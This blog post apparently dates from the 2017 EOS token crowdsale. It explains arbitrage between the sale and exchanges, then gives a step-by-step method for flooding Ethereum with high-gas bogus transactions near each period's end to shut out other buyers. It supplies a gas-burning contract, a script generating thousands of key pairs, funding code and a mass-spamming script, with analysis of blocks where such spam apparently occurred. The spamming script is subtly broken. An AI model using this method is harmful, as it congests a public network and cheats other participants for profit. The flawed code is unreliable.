/ ethereum /

How SWIM made thousands gaming the EOS crowdsale

Background

EOS, the brainchild of Dan Larimer (formerly Bitshares and Steemit), is a DPOS smart contract platform that hopes to offer a more scalable and flexible solution than Ethereum. EOS has opted to distribute its tokens in a crowdsale that lasts 341 days, spread over 350, 23 hour periods. In the first period, 20% of all tokens (1 billion), or 200,000,000 were distributed to contributors based on their contribution. 651,902.18 total Ether was contributed in this period; if I had sent 1 Ether, I would receive 306.78 EOS. Each subsequent 23 hour period, an additional 2,000,000 tokens are released. According to their website, this distribution mechanism

mimics mining without giving potential unfair advantages to large purchasers.

Since each distribution is based on the total amount contributed, it's in a contributor's best interest to wait as long as possible before contributing. Because exchanges are actively trading EOS, there is a market rate determined for the token. Why would someone contribute to the crowdsale if they can buy tokens for cheaper on an exchange?

Arbitraging EOS

As mentioned before, it makes no sense to contribute to the EOS crowdsale if the price per EOS is cheaper on an exchange. But we don't know the total amount of Ether contributed until the period is over. Let's dig into the actual EOS crowsdale contract. For a primer on Solidity, check out this awesome tutorial

function buy() payable {
    buyWithLimit(today(), 0);
}
function () payable {
    buy();
}
// This method provides the buyer some protections regarding which
// day the buy order is submitted and the maximum price prior to
// applying this payment that will be allowed.
function buyWithLimit(uint day, uint limit) payable {
    assert(time() >= openTime && today() <= numberOfDays);
    assert(msg.value >= 0.01 ether);

    assert(day >= today());
    assert(day <= numberOfDays);

    userBuys[day][msg.sender] += msg.value;
    dailyTotals[day] += msg.value;

    if (limit != 0) {
        assert(dailyTotals[day] <= limit);
    }

    LogBuy(day, msg.sender, msg.value);
}

When someone sends Ether to the EOS crowdale, the default function () payable is invoked, which calls the buy() function and logs a buy for the current day. So I can wait until the very last second before a period ends and then send my transaction if the price is lower than on the exchanges? Not quite. If you take a look at ETH stats, you'll notice that block times aren't very consistent:
block_times

Here, the longest block time is 184 seconds and the shortest is 4 seconds. If a contributor submits 30 seconds before a contribution period ends and it takes 100 seconds to mine their transaction, her contribution will actually be counted for the following period.

The earlier a contributor contributes, the less certain the contributor can be of the total Ether contributed for the period. Let's explore buyWithLimit. This function allows the contributor to specify the exact period and maximum limit of Ether contributed. So revisiting the previous example, I should wait until the very last second before a period ends, and then buyWithLimit, providing the current period and the amount of Ether needed to equal the rate (or less) than the market rate on exchanges. Let's say exchanges are trading EOS for .0002 ETH, since 2,000,000 tokens are released each period, I would only contribute if less than 4,000 Ether has been contributed for the day. If I was contributing using MyEtherWallet, I would navigate to the contracts section, choose EOS, and fill in the proper values:
mew_ss
Be sure that the limit value is in wei, not Ether. You can use this converter to convert Ether -> wei.

Once that contribution period ends, you'll need to claim your tokens. Transfer them to an exchange, sell the tokens (preferably before other arbitragers have sold their tokens), and then transfer ETH back to your own wallet.

A note about gas price: gas price is important in determining how fast a transaction gets mined. Assuming miners are economically incentivized, they will priortize transactions based on highest gas price. Here's a handy page where you can see on average how fast a transaction will be mined: http://ethgasstation.info/calculator.php

Gaming the System

Great, so you now we know how to flip EOS for a profit using simple arbitrage methods (contributing to EOS crowdsale and selling tokens on an exchange for more). Let's take this a step further and game the entire system to our advantage. What if we could intentionally flood the Ethereum network with bogus transactions in the last five or ten minutes of an EOS crowdsale to push out would-be contributors? Let's walk through the steps of how this would work:

  1. Contribute Ether to EOS crowdsale sometime prior to five minutes before the sale ends.
  2. Starting five minutes before the end of the crowdsale, spam ethereum network with transactions that have a higher gas cost than would-be contributors
  3. Claim tokens after sale ends
  4. Profit!

Here is a spreadsheet that outlines the economics for a 200 ETH initial contribution, targeting a gas price of 60:
200_eth_contribution

and for a 1000 ETH initial contribution:
1000_eth_contribution

Great, so now the only thing left to do is figuring out how to properly spam the Ethereum network.

Analysis

eosscan.io is a site that tracks the contributions for each contribution period.

As you see in the screencap below, some periods have suspiciously low contributions.
EOSscan_-_EOS_token_sale_tracker-1

Let's first take a look at period 46:
Screen-Shot-2017-10-22-at-11.35.54-PM!

Right before period 46 ended, the market rate for EOS was around $1.79, so the crowdsale rate shows a discount of approximately 37%. Let's take a look at a block mined 10 minutes before the end of the period or block 4149236: https://etherscan.io/block/4149236

ss-2

Lots of failed bogus transactions.

ss-3

All of these transactions are sending an invalid transaction, with an abnormally large gas price of 100.2. Because of the high price, miners are prioritzing these spam transactions over real, lower priced transactions.

These spam transactions continue until block 4149270: https://etherscan.io/block/4149270

As a result of these bogus transactions, anyone sending a transaction with less than a 100.2 gas price will have their transaction added to the pending transactions pool and not actually confirmed. Note, MyEtherWallet has a default max setting of 60, so anyone contributing via MEW would be affected.

Let's now take a look at period 73.
period_73

Right before period 73 ended, the market rate for EOS was around $0.80, so the crowdsale rate shows a discount of approximately 26%. As an exercise for the reader, take a look at most of the transactions mined in block 4255149, notice a pattern?: https://etherscan.io/block/4255149

This time we have another bogus transaction that is wasting 33,500 gas with a gas price of 70.2.
73-other

Create a contract that burns a predictable amount of gas

Instead of using the EOS contract, let's create our own contract that wastes a pre-set amount of gas that we determine.

Here is an example contract:

pragma solidity ^0.4.4;

contract Spam {

  function Spam() {
  }

  function() payable {
    spam();
  }
  
  function spam() {
      for (uint i = 0; i < 400; i++) {
        1 * 1;
    }
  }
}

If I send 0 ETH to this contract, it will predictably perform a multiplication operation 400 times which will cost 43840 gas. You can verify this by using an online Solidity IDE Remix. Go to the run tab, click create, then click on the spam function to execute it.

remix

If I want to waste more or less gas, I can modify the for loop to have more or less iterations.

Generate key pairs

Since our goal is to flood the Ethereum network with lots of bogus transactions, we'll need access to many different public addresses. We cannot use a single address to send many transactions due to the fact that the account nonce must be incremented after each transaction.

First, we need to generate some public/private key pairs. We can use the keythereum npm package(v1.0.2) to do this and save the key pairs to a JSON file:

var keythereum = require('keythereum')

var keys = {}

for(var i = 0; i < 2048; i++) {
  var dk = keythereum.create();
  var keyObject = keythereum.dump('pass', dk.privateKey, dk.salt, dk.iv)
  var privateKey = keythereum.recover('pass', keyObject);
  var readablePrivKey = privateKey.toString('hex');
  console.log(keyObject.address)
  keys[i] = { address: keyObject.address, key: readablePrivKey }
}

const fs = require('fs');
const content = JSON.stringify(keys);

fs.writeFile("accounts-" + Date.now() + ".json", content, 'utf8', function (err) {
    if (err) {
        return console.log(err);
    }
    console.log("The file was saved!");
});

Now that we control some public ethereum addresses, we'll need to fund the address with some ether (at least enough for a 43840 gas transaction) to be "burned" when we send transactions to our Spam contract.

Fund addresses using contract

Now we must fund each of these addresses, so they have Ether to pay for a bogus transaction. One approach we could take is to create a contract to "whitelist" addresses, and then disperse funds to these addresses. Below is an example Ethereum contract that hardcodes various whitelisted addresses.

pragma solidity ^0.4.4;

contract WhitelistAddresses {

  address[] public addresses = [0x1111111111111111111111111111111111111111,
    0x2222222222222222222222222222222222222222
  ];

  address public owner = 0x3333333333333333333333333333333333333333;

  event LogDep (address sender, uint amount, uint balance);

  function WhitelistAddresses() {
  }

  function depositFunds() public payable returns(bool success) {
    LogDep(msg.sender, msg.value, this.balance);
    return true;
  }

  function fundAddresses(uint256 amount) {
    for (uint i = 0; i < addresses.length; i++) {
      addresses[i].send(amount);
    }
  }

  function withdraw() public {
    if(msg.sender == owner) {
      owner.send(this.balance);
    }
  }
}

Here's a code snippet using nodejs snippet to compile the contract (note: this is using node v8.2.1 web3 v0.20.1):

const fs = require('fs');
const solc = require('solc');
const Web3 = require('web3');

// Connect to Ethereum node
const web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io"));

// Compile the source code
const input = fs.readFileSync('./whitelist-addresses.sol');
const output = solc.compile(input.toString(), 1);
const bytecode = output.contracts[''].bytecode;
const abi = JSON.parse(output.contracts['WhitelistAddresses'].interface);

You can then deploy the contract using MyEtherWallet's deploy contract feature

So in summary:
1. Compile contract
2. Deploy contract
3. execute depositFunds function on contract
4. execute fundAddresses function on contract

Fund addresses using a script

Another approach to fund these addresses can be done programmatically using web3. Below is an example script.

var Web3 = require('web3')
var web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/"));
var Tx = require('ethereumjs-tx');

var targetGas = 0.5 // in gWei
var targetGasInWei = targetGas * 1000000000 // multiply by 1 billion

// assuming we have two public/private key pairs in this file
var accounts = require('./accounts.json');

var fromAddressIndex = 0;
var toAddresssIndex = 1;
var account = accounts[0];

var amountToSend = 100000 // how much are we seeding the addresses with?

console.log("sending transaction from address at index: " + fromAddressIndex + " to address at index: " + toAddresssIndex)
console.log("sending: " + amountToSend)

//console.log(balance)

var nonce = web3.eth.getTransactionCount("0x" + account["address"])
var nonceHex = convertDecimalToHex(nonce);

var rawTx = {
  nonce: nonceHex,
  gasPrice: convertDecimalToHex(targetGasInWei),
  gasLimit: convertDecimalToHex(21000),
  to: "0x" + accounts[toAddresssIndex]["address"],
  value: convertDecimalToHex(amountToSend),
}

console.log(rawTx)

var privateKey = new Buffer(account["key"], 'hex')

var tx = new Tx(rawTx);
tx.sign(privateKey);
var serializedTx = tx.serialize();

var callback = function(err, hash) {
  var newSerializedTx = serializedTx;
  var newRawTx = rawTx;
  if(err) {
    console.log("ERROR: " + err)
    console.log('0x' + newSerializedTx.toString('hex'))
  } else {
    console.log("SUCCESS: " + hash);
  }
}
web3.eth.sendRawTransaction('0x' + serializedTx.toString('hex'), callback)

function convertDecimalToHex (decimal) {
  return '0x' + (decimal).toString(16)
}

Spamming the network

Now that we have a contract that burns a predictable amount of gas and funded Ethereum addresses, we can write a script to generate bogus transactions.

var Web3 = require('web3')
var web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/"));
var Tx = require('ethereumjs-tx');

var targetGas = 71 // what gas price will be high enough to freeze out other contributors?
var targetGasInWei = targetGas * 1000000000 // multiply by 1 billion

var accounts = require('./accounts.json');
var contractAddress = '0x1234...'// Spam contract address goes here;

Object.keys(accounts).forEach(function(key) {
  var account = accounts[key];
  var account = accounts[0];
  var nonce = web3.eth.getTransactionCount("0x" + account['address'])

  var rawTx = {
    nonce: nonceHex,
    gasPrice: convertDecimalToHex(targetGasInWei),
    gasLimit: convertDecimalToHex(43840),// spammer contract wastes 43840
    to: contractAddress,
    value: '0x00',
  }

  var privateKey = new Buffer(account["key"], 'hex')

  var tx = new Tx(rawTx);
  tx.sign(privateKey);
  var serializedTx = tx.serialize();
  console.log(serializedTx)

  web3.eth.sendRawTransaction('0x' + serializedTx.toString('hex'), function(err, hash) {
    if(err) return console.log(err);
    return console.log(hash);
  });
});

Conclusion

As seen in the analysis above, it appears the crowdsale was targeted by this type of attack multiple times. EOS contributors are becoming smarter and have started contributing earlier and earlier within the 23 hour period to combat this type of attack. Also, as a result of the Metropolis fork, block times have dropped down to near ~16 sec block confirmation times vs the 30 + seconds it took leading up to the fork. These lower block times mean spamming is much more expensive now. Also, it appears that large whales have been contributing large amounts each period, more on that on reddit.